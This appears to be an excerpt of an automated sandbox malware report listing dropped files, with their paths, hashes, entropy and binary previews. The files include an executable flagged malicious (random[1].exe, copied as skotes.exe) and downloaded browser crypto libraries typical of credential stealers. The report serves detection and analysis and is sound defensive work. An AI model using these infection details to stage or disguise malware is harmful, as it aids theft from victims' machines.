Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1843712
Entropy (8bit):	7.947644111786327
Encrypted:	false
SSDEEP:	49152:nHFaJdOn16Mp9hamBcxdgirXtyBik8CqX/odohVgmaH:n8a16+3dKdgiAva/hVg
MD5:	333366F899B1211C3259144ABEB6E7D0
SHA1:	B0CD88A3CFB3153A6F40682143B7872ED7ABB0A5
SHA-256:	F6B3275A6874DFAE98DD683FF84C5D9894A17D86EB45C1CF0B621AD54A680580
SHA-512:	9697D94EF6F11FCEE853BC3615FD3441BC39A529A9EB5A18F8BA81D719485AC3119F260E93B62F90F4F0521E23851C508E12AE258BA29CF914DD1B3F8D3CD1F5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................H...........@.......................... I.....N!....@.................................W...k.......H.....................H.............................@.H..................................................... . ............................@....rsrc...H...........................@....idata ............................@... . ).........................@...fgmhzlms....../.....................@...jvwcxzdp......H.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0628f206-b5f4-42fd-9e89-632c81c301c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\3014619b-d036-4a18-9fe6-641cf27cc09f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:fFZ2cHkObrS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz88:fbb1UdS8scZNzFrMa4M+lKqeZ
MD5:	703D592C85D2790D89047C1614A54B4F
SHA1:	0C08F096AD544A63ACE8AA1AA738CC0B374F2A23
SHA-256:	A01513000969824FA1761DCDD77F5EE9B6FD958B4E9596522CEBC47BB69DF194
SHA-512:	D0C0F0B0A060D3DD52942556615B93971292E1F0C10555681CB6E4857E605EB2CFBACBADD263FB954D4062A63BBCCCB4B514428FDB95F6C0C94CC221B28B1ED5
Malicious:	false
Preview:	...........}io.8..w... @..S..=.X.v.^$..e..0..r.ek.,.+..x..._..$."..:.....]E>7..x..z...?..7t.s.....!/.."..}../....u...^..\|{...B...]....q....Znh....;B.u....r.z..._.w~p.}<......B.....}k.........a....ur......:.E.~..f7!.....c....V.Z.."..._Q..m....?..q.......{;.V.g.".i..<.r=.9.>...}^.Ykw....\,. .. .<YkL........C...........m.'....0O....g.?.8C............x.........=YO.......`.<....o..=..he..AaHy@g....z.)C..G....[.@.........x.......O...c..H..5..}..5$?.:....7g.....M~....4....u..P...c...S..w.(.2N['......&..v...."p.#..Z.F.<'._........&~CA......Z....p......>.o......m.(....a_%F.}r\|\|z.m...1..8....p.-..4'.O....S0..f<.n...KP<.fd.....-w[B..%....Z!..H...C..CB+J)Ef.t[;.1.?.Q.j{.....*.y...>Y.......Me..Vx!.._...(>.......>.j.%.(..%]...E...~.p......tp.P.3........W>V&.J.s.]..../~.^.....u.X.1.J.6..8.^...Q.a8".z}....\|.V.M".+..y.-...r..b..'k..9..~.@g3.:..n....M....s.T.#\|.Vd.../..K<...^...p......X.5..6..F..".tO...........o}......}...D..`o....<..(....?..y.JQ.....F01a

C:\Users\user\AppData\Local\Temp\5a50579e-6cd9-44d1-a510-f6c68fbe8465.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\6d96f1ea-07b7-456d-97e4-586321f9173c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1549767
Entropy (8bit):	7.992962978733776
Encrypted:	true
SSDEEP:	24576:2C+GP9IJhjhsFOU2gHoKLOHM7PpDm9ivfIQ3+B8+0hF+OgBFvsCf5kYpRH9AI4/C:2C+gIjjhsF5bFLOHM7PpDmufJOid+zbV
MD5:	E6C97BCA0312D22A82F4F4E5F7E27859
SHA1:	43DF32F94513F5A778F58A9032AE70672A6C0148
SHA-256:	AE4CC0E059545927277BF24B4D549025838E912A8F09C47A241AC6CC0E8DA789
SHA-512:	646A9529758D84E0937C124D5AA46502A58E8C6229446360904EB95F2FE350FD9DBB6B0A949127391805793A753217A6C867D0BE2ACF2AA9568EDF6C2F2C8D1F
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...qiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628" xmpMM:DocumentID="xmp.did:91EA24D7191011E5B1FF9488C51C29D1" xmpMM:InstanceID="xmp.iid:91EA24D6191011E5B1FF9488C51C29D1" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6a6b844a-8117-4c4c-9b2f-30d3769ed7c7" stRef:documentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^.i.....IDATx.bb .0..;./..;@...A.P9F...y

C:\Users\user\AppData\Local\Temp\8b9530e9-95d2-4a56-a649-ee26b91d2e3d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsHIEHDHCFIJ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1843712
Entropy (8bit):	7.947644111786327
Encrypted:	false
SSDEEP:	49152:nHFaJdOn16Mp9hamBcxdgirXtyBik8CqX/odohVgmaH:n8a16+3dKdgiAva/hVg
MD5:	333366F899B1211C3259144ABEB6E7D0
SHA1:	B0CD88A3CFB3153A6F40682143B7872ED7ABB0A5
SHA-256:	F6B3275A6874DFAE98DD683FF84C5D9894A17D86EB45C1CF0B621AD54A680580
SHA-512:	9697D94EF6F11FCEE853BC3615FD3441BC39A529A9EB5A18F8BA81D719485AC3119F260E93B62F90F4F0521E23851C508E12AE258BA29CF914DD1B3F8D3CD1F5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................H...........@.......................... I.....N!....@.................................W...k.......H.....................H.............................@.H..................................................... . ............................@....rsrc...H...........................@....idata ............................@... . ).........................@...fgmhzlms....../.....................@...jvwcxzdp......H.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\af50140e-763a-4ec1-9027-8089ca57b17e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\bc351fcb-8be3-4de4-846e-9c48ebdb4ec7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.410519946286899
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0v15YeJ0yn5M:JIVuwEw5MUFZLBQLtkZM
MD5:	12FEDA5EAB919B3B996C084B133527B0
SHA1:	D5A5EA01EBC395F660130B2DB4C42A951278D8FC
SHA-256:	464ADB47A850F9B57610E74DAC17B6D279534E9A14F3B1464C004AC9B75CBBAF
SHA-512:	0340081A54E2A03674D61CB3D61EA54CAD2E4F04A709E6C10027FB4634916D426E696F7111CA1F9935641ED292AE1B6D84E9DC66E6FFA969E628ED1B7CE4F1D7
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\scoped_dir8128_1215814605\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8128_1215814605\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8128_1215814605\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8128_1215814605\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_1215814605\af50140e-763a-4ec1-9027-8089ca57b17e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
